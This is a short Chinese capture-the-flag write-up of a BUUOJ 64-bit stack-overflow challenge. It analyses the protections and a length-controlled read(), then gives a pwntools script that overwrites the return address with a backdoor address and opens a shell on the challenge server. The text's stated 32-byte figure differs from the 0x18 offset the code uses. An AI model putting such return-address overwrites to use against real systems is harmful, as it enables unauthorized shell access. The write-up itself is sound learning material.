今天做一题pwn第十题,其实根本没有用到整数溢出,直接当作最普通的题目来做就行
运行看看咸淡
ScreenShot_2026-03-21_174053_984.png
看看保护
ScreenShot_2026-03-21_174152_849.png
没啥保护,看到64位小端序,放ida64
main.png
主函数看到了两个输入,其中第一个输入的nbyte是第二个输入中read的第三个参数

这里只用知道read()的第三个参数是输入的字节数

所以只用第一次输入的时候给够输入的字节数,第二个输入函数read就是无限制输入,因此第二个输入的参数存在栈溢出

看看栈结构:buf在esp所在的位置,距离栈底ebp只有16字节,ebp自身占8字节,覆盖返回地址需要8字节,所以只用32字节即可
看看后门地址:
.text_backdoor.png
返回地址也直接给到了system('bin/bash')

exp:

from pwn import *

p = remote('node5.buuoj.cn', 29216)
offset = 0x18;
payload = b'A' * offset + p64(0x04006EA)
p.recvuntil('name:')
p.sendline(b'32')
p.recvuntil('name?')
p.sendline(payload)
p.interactive()

a67d315f-aa01-4997-b8a5-890129ad1a24.jpg
拿下!